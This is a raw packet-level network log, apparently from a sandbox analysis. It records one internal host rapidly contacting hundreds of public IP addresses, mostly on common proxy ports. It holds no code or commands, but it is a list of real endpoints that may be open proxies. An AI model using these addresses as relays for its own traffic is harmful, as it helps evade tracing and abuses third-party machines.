Feb 23, 2024 09:45:15.312251091 CET	49922	49740	159.223.71.71	192.168.2.4
Feb 23, 2024 09:45:15.312339067 CET	49740	49922	192.168.2.4	159.223.71.71
Feb 23, 2024 09:45:15.312741041 CET	49740	49922	192.168.2.4	159.223.71.71
Feb 23, 2024 09:45:15.314554930 CET	49854	5678	192.168.2.4	110.78.164.224
Feb 23, 2024 09:45:15.316399097 CET	49855	4153	192.168.2.4	103.60.137.17
Feb 23, 2024 09:45:15.319427013 CET	49857	8080	192.168.2.4	79.174.188.153
Feb 23, 2024 09:45:15.319427967 CET	49856	80	192.168.2.4	50.174.145.10
Feb 23, 2024 09:45:15.320800066 CET	3128	49807	3.9.71.167	192.168.2.4
Feb 23, 2024 09:45:15.320919037 CET	49807	3128	192.168.2.4	3.9.71.167
Feb 23, 2024 09:45:15.321115971 CET	49807	3128	192.168.2.4	3.9.71.167
Feb 23, 2024 09:45:15.322626114 CET	49858	80	192.168.2.4	8.217.118.156
Feb 23, 2024 09:45:15.323297024 CET	80	49781	80.228.235.6	192.168.2.4
Feb 23, 2024 09:45:15.324064970 CET	49859	80	192.168.2.4	146.59.243.214
Feb 23, 2024 09:45:15.326807976 CET	49860	19050	192.168.2.4	51.83.190.248
Feb 23, 2024 09:45:15.328058004 CET	49861	8080	192.168.2.4	102.132.54.151
Feb 23, 2024 09:45:15.329124928 CET	49862	37379	192.168.2.4	167.86.102.169
Feb 23, 2024 09:45:15.331388950 CET	49863	8080	192.168.2.4	101.255.166.2
Feb 23, 2024 09:45:15.331789017 CET	49864	4145	192.168.2.4	72.37.216.68
Feb 23, 2024 09:45:15.332896948 CET	49865	5678	192.168.2.4	80.54.62.254
Feb 23, 2024 09:45:15.334103107 CET	49866	80	192.168.2.4	104.20.225.218
Feb 23, 2024 09:45:15.335206032 CET	49867	83	192.168.2.4	45.119.113.62
Feb 23, 2024 09:45:15.336319923 CET	49868	80	192.168.2.4	104.19.235.10
Feb 23, 2024 09:45:15.337299109 CET	49869	80	192.168.2.4	104.25.87.42
Feb 23, 2024 09:45:15.338463068 CET	49870	3128	192.168.2.4	91.149.224.168
Feb 23, 2024 09:45:15.339649916 CET	49871	3128	192.168.2.4	45.159.150.23
Feb 23, 2024 09:45:15.340231895 CET	49872	80	192.168.2.4	172.67.38.96
Feb 23, 2024 09:45:15.340930939 CET	80	49825	104.16.221.57	192.168.2.4
Feb 23, 2024 09:45:15.341028929 CET	49825	80	192.168.2.4	104.16.221.57
Feb 23, 2024 09:45:15.341388941 CET	49873	1976	192.168.2.4	41.65.55.10
Feb 23, 2024 09:45:15.341479063 CET	49825	80	192.168.2.4	104.16.221.57
Feb 23, 2024 09:45:15.343501091 CET	49875	1080	192.168.2.4	94.131.107.45
Feb 23, 2024 09:45:15.343501091 CET	49874	80	192.168.2.4	203.32.120.202
Feb 23, 2024 09:45:15.344557047 CET	49876	49401	192.168.2.4	162.241.46.40
Feb 23, 2024 09:45:15.345618963 CET	49877	2929	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.346889973 CET	49878	6331	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.347347021 CET	49879	443	192.168.2.4	43.153.175.43
Feb 23, 2024 09:45:15.347392082 CET	443	49879	43.153.175.43	192.168.2.4
Feb 23, 2024 09:45:15.347477913 CET	49879	443	192.168.2.4	43.153.175.43
Feb 23, 2024 09:45:15.348139048 CET	49879	443	192.168.2.4	43.153.175.43
Feb 23, 2024 09:45:15.348174095 CET	443	49879	43.153.175.43	192.168.2.4
Feb 23, 2024 09:45:15.348226070 CET	443	49879	43.153.175.43	192.168.2.4
Feb 23, 2024 09:45:15.348743916 CET	11673	49813	50.63.13.3	192.168.2.4
Feb 23, 2024 09:45:15.348828077 CET	49813	11673	192.168.2.4	50.63.13.3
Feb 23, 2024 09:45:15.348967075 CET	49880	8080	192.168.2.4	103.163.80.14
Feb 23, 2024 09:45:15.349215031 CET	49813	11673	192.168.2.4	50.63.13.3
Feb 23, 2024 09:45:15.350564957 CET	17182	49775	139.99.9.218	192.168.2.4
Feb 23, 2024 09:45:15.354268074 CET	5678	49760	103.134.38.89	192.168.2.4
Feb 23, 2024 09:45:15.355179071 CET	49881	9603	192.168.2.4	192.99.37.195
Feb 23, 2024 09:45:15.355195999 CET	49882	32650	192.168.2.4	103.176.116.171
Feb 23, 2024 09:45:15.355237961 CET	49760	5678	192.168.2.4	103.134.38.89
Feb 23, 2024 09:45:15.355576038 CET	49760	5678	192.168.2.4	103.134.38.89
Feb 23, 2024 09:45:15.358570099 CET	49883	80	192.168.2.4	52.191.208.232
Feb 23, 2024 09:45:15.358661890 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.358675957 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.358864069 CET	49790	10417	192.168.2.4	165.225.32.114
Feb 23, 2024 09:45:15.359735966 CET	49884	12519	192.168.2.4	132.148.128.8
Feb 23, 2024 09:45:15.359900951 CET	80	49814	50.172.23.10	192.168.2.4
Feb 23, 2024 09:45:15.361157894 CET	49885	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:15.361191034 CET	80	49786	154.113.121.60	192.168.2.4
Feb 23, 2024 09:45:15.361965895 CET	49886	47016	192.168.2.4	37.187.143.172
Feb 23, 2024 09:45:15.363399982 CET	49887	31683	192.168.2.4	198.57.195.42
Feb 23, 2024 09:45:15.363665104 CET	80	49759	79.10.114.97	192.168.2.4
Feb 23, 2024 09:45:15.363871098 CET	80	49759	79.10.114.97	192.168.2.4
Feb 23, 2024 09:45:15.364420891 CET	49888	58028	192.168.2.4	94.232.11.178
Feb 23, 2024 09:45:15.364474058 CET	49759	80	192.168.2.4	79.10.114.97
Feb 23, 2024 09:45:15.364665985 CET	80	49759	79.10.114.97	192.168.2.4
Feb 23, 2024 09:45:15.364831924 CET	49759	80	192.168.2.4	79.10.114.97
Feb 23, 2024 09:45:15.366111040 CET	49889	51025	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:15.366677046 CET	10011	49834	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:15.367290020 CET	49890	42801	192.168.2.4	166.62.87.148
Feb 23, 2024 09:45:15.368417978 CET	49891	45365	192.168.2.4	142.93.151.99
Feb 23, 2024 09:45:15.369318008 CET	49892	5784	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:15.369604111 CET	3256	49768	125.87.82.86	192.168.2.4
Feb 23, 2024 09:45:15.371059895 CET	49893	56862	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:15.371062040 CET	49894	31979	192.168.2.4	51.77.73.67
Feb 23, 2024 09:45:15.372132063 CET	49895	8080	192.168.2.4	171.97.12.175
Feb 23, 2024 09:45:15.373871088 CET	49896	2589	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:15.373871088 CET	49897	60808	192.168.2.4	210.61.216.63
Feb 23, 2024 09:45:15.374784946 CET	49898	32241	192.168.2.4	1.20.137.82
Feb 23, 2024 09:45:15.376104116 CET	80	49841	172.67.182.83	192.168.2.4
Feb 23, 2024 09:45:15.376240969 CET	49841	80	192.168.2.4	172.67.182.83
Feb 23, 2024 09:45:15.376293898 CET	49899	32423	192.168.2.4	50.63.12.101
Feb 23, 2024 09:45:15.376413107 CET	80	49791	104.16.108.149	192.168.2.4
Feb 23, 2024 09:45:15.376439095 CET	49841	80	192.168.2.4	172.67.182.83
Feb 23, 2024 09:45:15.376964092 CET	49900	8080	192.168.2.4	103.167.69.94
Feb 23, 2024 09:45:15.377892017 CET	49901	7302	192.168.2.4	221.226.109.229
Feb 23, 2024 09:45:15.378865004 CET	49902	4145	192.168.2.4	46.109.146.244
Feb 23, 2024 09:45:15.379782915 CET	49903	80	192.168.2.4	159.89.182.147
Feb 23, 2024 09:45:15.379992962 CET	8587	49821	178.62.103.49	192.168.2.4
Feb 23, 2024 09:45:15.380714893 CET	49904	1080	192.168.2.4	78.40.104.5
Feb 23, 2024 09:45:15.382874966 CET	49906	4145	192.168.2.4	45.112.125.58
Feb 23, 2024 09:45:15.382874012 CET	49905	3128	192.168.2.4	104.164.183.187
Feb 23, 2024 09:45:15.383555889 CET	6120	49811	213.252.245.221	192.168.2.4
Feb 23, 2024 09:45:15.383743048 CET	49811	6120	192.168.2.4	213.252.245.221
Feb 23, 2024 09:45:15.384031057 CET	49811	6120	192.168.2.4	213.252.245.221
Feb 23, 2024 09:45:15.384246111 CET	49907	6095	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:15.386008024 CET	49909	80	192.168.2.4	50.170.90.25
Feb 23, 2024 09:45:15.386018038 CET	49908	999	192.168.2.4	45.225.184.206
Feb 23, 2024 09:45:15.387561083 CET	49910	18072	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:15.388448000 CET	49911	54450	192.168.2.4	171.226.88.162
Feb 23, 2024 09:45:15.389295101 CET	49912	33427	192.168.2.4	91.135.80.66
Feb 23, 2024 09:45:15.390252113 CET	49913	7878	192.168.2.4	175.106.10.227
Feb 23, 2024 09:45:15.391683102 CET	49914	1976	192.168.2.4	41.128.148.78
Feb 23, 2024 09:45:15.391685009 CET	49915	3128	192.168.2.4	182.18.140.17
Feb 23, 2024 09:45:15.392692089 CET	6047	49733	107.181.148.187	192.168.2.4
Feb 23, 2024 09:45:15.392745018 CET	6047	49733	107.181.148.187	192.168.2.4
Feb 23, 2024 09:45:15.392803907 CET	49733	6047	192.168.2.4	107.181.148.187
Feb 23, 2024 09:45:15.393073082 CET	49733	6047	192.168.2.4	107.181.148.187
Feb 23, 2024 09:45:15.394241095 CET	49916	32650	192.168.2.4	41.217.223.145
Feb 23, 2024 09:45:15.395211935 CET	49917	14462	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:15.396137953 CET	49918	26077	192.168.2.4	72.10.160.92
Feb 23, 2024 09:45:15.396878958 CET	4145	49851	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:15.397061110 CET	49851	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:15.397820950 CET	49919	42325	192.168.2.4	139.99.9.218
Feb 23, 2024 09:45:15.399403095 CET	49920	8080	192.168.2.4	103.184.54.42
Feb 23, 2024 09:45:15.412067890 CET	49921	80	192.168.2.4	72.52.217.188
Feb 23, 2024 09:45:15.412108898 CET	49922	3128	192.168.2.4	195.138.90.226
Feb 23, 2024 09:45:15.413535118 CET	49923	41041	192.168.2.4	46.182.6.69
Feb 23, 2024 09:45:15.414525032 CET	49924	3128	192.168.2.4	154.83.11.52
Feb 23, 2024 09:45:15.414777994 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.415545940 CET	49925	8080	192.168.2.4	103.141.109.237
Feb 23, 2024 09:45:15.416764975 CET	49926	3128	192.168.2.4	104.165.169.83
Feb 23, 2024 09:45:15.417329073 CET	49927	80	192.168.2.4	65.21.131.27
Feb 23, 2024 09:45:15.418770075 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.419132948 CET	49928	1599	192.168.2.4	161.97.147.193
Feb 23, 2024 09:45:15.419794083 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.420275927 CET	49929	9002	192.168.2.4	120.197.40.219
Feb 23, 2024 09:45:15.421243906 CET	49930	80	192.168.2.4	125.141.151.83
Feb 23, 2024 09:45:15.421789885 CET	80	49866	104.20.225.218	192.168.2.4
Feb 23, 2024 09:45:15.422024012 CET	49866	80	192.168.2.4	104.20.225.218
Feb 23, 2024 09:45:15.422228098 CET	49866	80	192.168.2.4	104.20.225.218
Feb 23, 2024 09:45:15.422565937 CET	49931	53672	192.168.2.4	72.167.221.145
Feb 23, 2024 09:45:15.423695087 CET	80	49868	104.19.235.10	192.168.2.4
Feb 23, 2024 09:45:15.423723936 CET	49932	21346	192.168.2.4	138.197.92.110
Feb 23, 2024 09:45:15.423808098 CET	49868	80	192.168.2.4	104.19.235.10
Feb 23, 2024 09:45:15.423959970 CET	80	49856	50.174.145.10	192.168.2.4
Feb 23, 2024 09:45:15.424047947 CET	49868	80	192.168.2.4	104.19.235.10
Feb 23, 2024 09:45:15.424670935 CET	49933	51778	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:15.424695969 CET	80	49869	104.25.87.42	192.168.2.4
Feb 23, 2024 09:45:15.424787998 CET	49869	80	192.168.2.4	104.25.87.42
Feb 23, 2024 09:45:15.424987078 CET	49869	80	192.168.2.4	104.25.87.42
Feb 23, 2024 09:45:15.426178932 CET	49934	999	192.168.2.4	45.233.67.226
Feb 23, 2024 09:45:15.427556992 CET	80	49872	172.67.38.96	192.168.2.4
Feb 23, 2024 09:45:15.428168058 CET	49872	80	192.168.2.4	172.67.38.96
Feb 23, 2024 09:45:15.428806067 CET	80	49825	104.16.221.57	192.168.2.4
Feb 23, 2024 09:45:15.428819895 CET	80	49825	104.16.221.57	192.168.2.4
Feb 23, 2024 09:45:15.428985119 CET	80	49825	104.16.221.57	192.168.2.4
Feb 23, 2024 09:45:15.429178953 CET	49825	80	192.168.2.4	104.16.221.57
Feb 23, 2024 09:45:15.429574966 CET	32650	49789	154.79.254.236	192.168.2.4
Feb 23, 2024 09:45:15.430784941 CET	80	49874	203.32.120.202	192.168.2.4
Feb 23, 2024 09:45:15.430967093 CET	49874	80	192.168.2.4	203.32.120.202
Feb 23, 2024 09:45:15.432275057 CET	49825	80	192.168.2.4	104.16.221.57
Feb 23, 2024 09:45:15.433031082 CET	49872	80	192.168.2.4	172.67.38.96
Feb 23, 2024 09:45:15.433646917 CET	4145	49785	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:15.433862925 CET	4145	49785	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:15.434818983 CET	49935	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:15.435105085 CET	49874	80	192.168.2.4	203.32.120.202
Feb 23, 2024 09:45:15.435441971 CET	49936	1080	192.168.2.4	92.247.31.130
Feb 23, 2024 09:45:15.436557055 CET	49937	999	192.168.2.4	201.182.251.140
Feb 23, 2024 09:45:15.437509060 CET	49938	35196	192.168.2.4	167.86.69.142
Feb 23, 2024 09:45:15.438440084 CET	49939	8080	192.168.2.4	103.76.104.30
Feb 23, 2024 09:45:15.439651966 CET	49940	8080	192.168.2.4	185.172.212.233
Feb 23, 2024 09:45:15.440275908 CET	49941	49314	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:15.440490961 CET	2929	49877	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:15.441262007 CET	49942	8080	192.168.2.4	192.46.229.111
Feb 23, 2024 09:45:15.441910982 CET	6331	49878	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:15.442259073 CET	49943	80	192.168.2.4	202.5.16.44
Feb 23, 2024 09:45:15.442485094 CET	4145	49787	199.102.105.242	192.168.2.4
Feb 23, 2024 09:45:15.442605972 CET	4145	49787	199.102.105.242	192.168.2.4
Feb 23, 2024 09:45:15.443881035 CET	49944	5769	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:15.444730997 CET	49945	4145	192.168.2.4	199.102.105.242
Feb 23, 2024 09:45:15.446007013 CET	49946	80	192.168.2.4	50.174.214.218
Feb 23, 2024 09:45:15.446985960 CET	49947	8089	192.168.2.4	117.57.93.135
Feb 23, 2024 09:45:15.448894024 CET	49949	3503	192.168.2.4	23.225.72.125
Feb 23, 2024 09:45:15.448895931 CET	49948	12005	192.168.2.4	148.66.130.53
Feb 23, 2024 09:45:15.449839115 CET	49950	4145	192.168.2.4	168.227.158.41
Feb 23, 2024 09:45:15.450788975 CET	49951	999	192.168.2.4	190.120.254.233
Feb 23, 2024 09:45:15.451757908 CET	3601	49788	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:15.451769114 CET	3601	49788	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:15.451780081 CET	3601	49788	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:15.451842070 CET	49788	3601	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:15.452495098 CET	49788	3601	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:15.453459024 CET	80	49831	41.111.187.214	192.168.2.4
Feb 23, 2024 09:45:15.453625917 CET	49831	80	192.168.2.4	41.111.187.214
Feb 23, 2024 09:45:15.453768015 CET	8080	49774	91.205.197.226	192.168.2.4
Feb 23, 2024 09:45:15.453917980 CET	49831	80	192.168.2.4	41.111.187.214
Feb 23, 2024 09:45:15.454160929 CET	49952	2941	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:15.455327034 CET	49953	22035	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:15.456832886 CET	8080	49774	91.205.197.226	192.168.2.4
Feb 23, 2024 09:45:15.456855059 CET	8080	49774	91.205.197.226	192.168.2.4
Feb 23, 2024 09:45:15.456960917 CET	49774	8080	192.168.2.4	91.205.197.226
Feb 23, 2024 09:45:15.458523035 CET	49774	8080	192.168.2.4	91.205.197.226
Feb 23, 2024 09:45:15.462354898 CET	6764	49848	198.105.111.86	192.168.2.4
Feb 23, 2024 09:45:15.463134050 CET	49848	6764	192.168.2.4	198.105.111.86
Feb 23, 2024 09:45:15.464387894 CET	80	49841	172.67.182.83	192.168.2.4
Feb 23, 2024 09:45:15.464406967 CET	80	49841	172.67.182.83	192.168.2.4
Feb 23, 2024 09:45:15.465080976 CET	80	49841	172.67.182.83	192.168.2.4
Feb 23, 2024 09:45:15.465439081 CET	49841	80	192.168.2.4	172.67.182.83
Feb 23, 2024 09:45:15.465711117 CET	49848	6764	192.168.2.4	198.105.111.86
Feb 23, 2024 09:45:15.465938091 CET	49841	80	192.168.2.4	172.67.182.83
Feb 23, 2024 09:45:15.466042995 CET	49954	999	192.168.2.4	190.113.40.202
Feb 23, 2024 09:45:15.468223095 CET	8888	49796	47.114.101.57	192.168.2.4
Feb 23, 2024 09:45:15.468250036 CET	49955	8080	192.168.2.4	50.193.36.173
Feb 23, 2024 09:45:15.468305111 CET	49796	8888	192.168.2.4	47.114.101.57
Feb 23, 2024 09:45:15.468545914 CET	49796	8888	192.168.2.4	47.114.101.57
Feb 23, 2024 09:45:15.468800068 CET	2589	49896	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:15.468949080 CET	49956	4145	192.168.2.4	118.67.216.94
Feb 23, 2024 09:45:15.469986916 CET	49957	42171	192.168.2.4	158.101.1.100
Feb 23, 2024 09:45:15.471043110 CET	49958	57520	192.168.2.4	41.242.90.3
Feb 23, 2024 09:45:15.472203970 CET	49959	1080	192.168.2.4	168.138.66.48
Feb 23, 2024 09:45:15.473314047 CET	49960	56238	192.168.2.4	51.210.4.123
Feb 23, 2024 09:45:15.474736929 CET	32770	49847	94.130.181.59	192.168.2.4
Feb 23, 2024 09:45:15.474895954 CET	49847	32770	192.168.2.4	94.130.181.59
Feb 23, 2024 09:45:15.483031988 CET	3128	49807	3.9.71.167	192.168.2.4
Feb 23, 2024 09:45:15.483078003 CET	6095	49907	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:15.483160973 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.483179092 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.483228922 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.483269930 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.483288050 CET	45365	49891	142.93.151.99	192.168.2.4
Feb 23, 2024 09:45:15.483288050 CET	49790	10417	192.168.2.4	165.225.32.114
Feb 23, 2024 09:45:15.483346939 CET	49790	10417	192.168.2.4	165.225.32.114
Feb 23, 2024 09:45:15.483779907 CET	3128	49853	46.101.102.134	192.168.2.4
Feb 23, 2024 09:45:15.484761953 CET	49961	4153	192.168.2.4	183.89.176.18
Feb 23, 2024 09:45:15.484761953 CET	49962	4153	192.168.2.4	178.252.197.64
Feb 23, 2024 09:45:15.485061884 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:15.485228062 CET	49815	3128	192.168.2.4	13.234.24.116
Feb 23, 2024 09:45:15.491213083 CET	4145	49864	72.37.216.68	192.168.2.4
Feb 23, 2024 09:45:15.492042065 CET	26077	49918	72.10.160.92	192.168.2.4
Feb 23, 2024 09:45:15.496258974 CET	80	49909	50.170.90.25	192.168.2.4
Feb 23, 2024 09:45:15.496467113 CET	49847	32770	192.168.2.4	94.130.181.59
Feb 23, 2024 09:45:15.496467113 CET	49815	3128	192.168.2.4	13.234.24.116
Feb 23, 2024 09:45:15.501893997 CET	49963	80	192.168.2.4	104.19.233.117
Feb 23, 2024 09:45:15.503875017 CET	49964	543	192.168.2.4	8.213.137.155
Feb 23, 2024 09:45:15.505398989 CET	12519	49884	132.148.128.8	192.168.2.4
Feb 23, 2024 09:45:15.505424976 CET	49965	8089	192.168.2.4	117.69.236.86
Feb 23, 2024 09:45:15.505522013 CET	49884	12519	192.168.2.4	132.148.128.8
Feb 23, 2024 09:45:15.507390976 CET	49884	12519	192.168.2.4	132.148.128.8
Feb 23, 2024 09:45:15.509830952 CET	80	49866	104.20.225.218	192.168.2.4
Feb 23, 2024 09:45:15.509898901 CET	80	49866	104.20.225.218	192.168.2.4
Feb 23, 2024 09:45:15.510138035 CET	80	49866	104.20.225.218	192.168.2.4
Feb 23, 2024 09:45:15.511353016 CET	80	49868	104.19.235.10	192.168.2.4
Feb 23, 2024 09:45:15.511368990 CET	80	49868	104.19.235.10	192.168.2.4
Feb 23, 2024 09:45:15.511384964 CET	49866	80	192.168.2.4	104.20.225.218
Feb 23, 2024 09:45:15.511564970 CET	80	49868	104.19.235.10	192.168.2.4
Feb 23, 2024 09:45:15.512332916 CET	80	49869	104.25.87.42	192.168.2.4
Feb 23, 2024 09:45:15.512350082 CET	80	49869	104.25.87.42	192.168.2.4
Feb 23, 2024 09:45:15.512491941 CET	80	49869	104.25.87.42	192.168.2.4
Feb 23, 2024 09:45:15.512526035 CET	49868	80	192.168.2.4	104.19.235.10
Feb 23, 2024 09:45:15.516382933 CET	49869	80	192.168.2.4	104.25.87.42
Feb 23, 2024 09:45:15.516902924 CET	8181	49852	188.235.0.207	192.168.2.4
Feb 23, 2024 09:45:15.518034935 CET	49866	80	192.168.2.4	104.20.225.218
Feb 23, 2024 09:45:15.519670963 CET	80	49825	104.16.221.57	192.168.2.4
Feb 23, 2024 09:45:15.520709038 CET	80	49872	172.67.38.96	192.168.2.4
Feb 23, 2024 09:45:15.520812035 CET	80	49872	172.67.38.96	192.168.2.4
Feb 23, 2024 09:45:15.521050930 CET	80	49872	172.67.38.96	192.168.2.4
Feb 23, 2024 09:45:15.522425890 CET	80	49874	203.32.120.202	192.168.2.4
Feb 23, 2024 09:45:15.522443056 CET	80	49874	203.32.120.202	192.168.2.4
Feb 23, 2024 09:45:15.522690058 CET	3128	49870	91.149.224.168	192.168.2.4
Feb 23, 2024 09:45:15.522722960 CET	49872	80	192.168.2.4	172.67.38.96
Feb 23, 2024 09:45:15.523057938 CET	80	49874	203.32.120.202	192.168.2.4
Feb 23, 2024 09:45:15.525146008 CET	49874	80	192.168.2.4	203.32.120.202
Feb 23, 2024 09:45:15.526740074 CET	49872	80	192.168.2.4	172.67.38.96
Feb 23, 2024 09:45:15.527709007 CET	49874	80	192.168.2.4	203.32.120.202
Feb 23, 2024 09:45:15.529269934 CET	49869	80	192.168.2.4	104.25.87.42
Feb 23, 2024 09:45:15.529269934 CET	49868	80	192.168.2.4	104.19.235.10
Feb 23, 2024 09:45:15.530021906 CET	49966	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:15.543155909 CET	49967	5678	192.168.2.4	146.120.160.148
Feb 23, 2024 09:45:15.543155909 CET	49968	8080	192.168.2.4	185.208.102.62
Feb 23, 2024 09:45:15.543472052 CET	31979	49894	51.77.73.67	192.168.2.4
Feb 23, 2024 09:45:15.543492079 CET	5769	49944	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:15.545248032 CET	80	49771	117.160.250.132	192.168.2.4
Feb 23, 2024 09:45:15.545327902 CET	49969	8080	192.168.2.4	103.126.173.163
Feb 23, 2024 09:45:15.545361042 CET	49771	80	192.168.2.4	117.160.250.132
Feb 23, 2024 09:45:15.545660973 CET	49970	8089	192.168.2.4	114.106.146.149
Feb 23, 2024 09:45:15.545665026 CET	49771	80	192.168.2.4	117.160.250.132
Feb 23, 2024 09:45:15.546705008 CET	20056	49818	103.215.139.32	192.168.2.4
Feb 23, 2024 09:45:15.546864986 CET	49971	8080	192.168.2.4	31.47.37.114
Feb 23, 2024 09:45:15.548141003 CET	8080	49885	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:15.548190117 CET	49972	46035	192.168.2.4	138.68.24.185
Feb 23, 2024 09:45:15.548310995 CET	49885	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:15.548518896 CET	49885	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:15.548969030 CET	80	49946	50.174.214.218	192.168.2.4
Feb 23, 2024 09:45:15.548990965 CET	49973	80	192.168.2.4	159.65.184.81
Feb 23, 2024 09:45:15.549787998 CET	49974	8100	192.168.2.4	152.67.10.190
Feb 23, 2024 09:45:15.551050901 CET	49975	4145	192.168.2.4	103.86.1.34
Feb 23, 2024 09:45:15.551605940 CET	49976	8080	192.168.2.4	201.229.250.21
Feb 23, 2024 09:45:15.552985907 CET	49977	3128	192.168.2.4	154.202.110.117
Feb 23, 2024 09:45:15.553057909 CET	49735	80	192.168.2.4	50.172.227.202
Feb 23, 2024 09:45:15.553316116 CET	49749	80	192.168.2.4	96.113.159.162
Feb 23, 2024 09:45:15.553879023 CET	80	49841	172.67.182.83	192.168.2.4
Feb 23, 2024 09:45:15.553910017 CET	49978	10820	192.168.2.4	188.132.222.168
Feb 23, 2024 09:45:15.554029942 CET	49979	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.554054022 CET	443	49979	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.554338932 CET	49979	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.554338932 CET	49979	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.554372072 CET	443	49979	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.554538965 CET	443	49979	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.556229115 CET	49980	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.556255102 CET	443	49980	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.556376934 CET	49981	80	192.168.2.4	221.194.149.8
Feb 23, 2024 09:45:15.556379080 CET	49980	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.556538105 CET	49980	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.556556940 CET	443	49980	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.556585073 CET	443	49980	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.558032036 CET	49982	1611	192.168.2.4	72.10.160.170
Feb 23, 2024 09:45:15.558101892 CET	49983	60186	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:15.567092896 CET	1080	49959	168.138.66.48	192.168.2.4
Feb 23, 2024 09:45:15.568614006 CET	49959	1080	192.168.2.4	168.138.66.48
Feb 23, 2024 09:45:15.568629980 CET	49748	5436	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:15.570225954 CET	51778	49933	192.169.226.96	192.168.2.4
Feb 23, 2024 09:45:15.570293903 CET	49933	51778	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:15.571290016 CET	83	49802	103.155.54.38	192.168.2.4
Feb 23, 2024 09:45:15.573287010 CET	49984	1080	192.168.2.4	107.182.142.17
Feb 23, 2024 09:45:15.573929071 CET	49959	1080	192.168.2.4	168.138.66.48
Feb 23, 2024 09:45:15.573935032 CET	49933	51778	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:15.574717999 CET	49985	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.574750900 CET	443	49985	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.574783087 CET	49986	3128	192.168.2.4	78.38.93.22
Feb 23, 2024 09:45:15.574875116 CET	49985	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.575119972 CET	49985	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.575140953 CET	443	49985	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.575169086 CET	443	49985	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.576198101 CET	80	49759	79.10.114.97	192.168.2.4
Feb 23, 2024 09:45:15.576236010 CET	49987	8080	192.168.2.4	103.46.8.15
Feb 23, 2024 09:45:15.577539921 CET	49988	1976	192.168.2.4	41.65.236.37
Feb 23, 2024 09:45:15.577569962 CET	49989	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.577579975 CET	443	49989	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.578186035 CET	49989	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.578457117 CET	49989	443	192.168.2.4	94.74.120.192
Feb 23, 2024 09:45:15.578479052 CET	443	49989	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.578499079 CET	443	49989	94.74.120.192	192.168.2.4
Feb 23, 2024 09:45:15.579206944 CET	49990	1080	192.168.2.4	47.251.34.170
Feb 23, 2024 09:45:15.579242945 CET	49991	8080	192.168.2.4	45.11.96.41
Feb 23, 2024 09:45:15.580892086 CET	6120	49811	213.252.245.221	192.168.2.4
Feb 23, 2024 09:45:15.581425905 CET	49992	46770	192.168.2.4	65.49.82.7
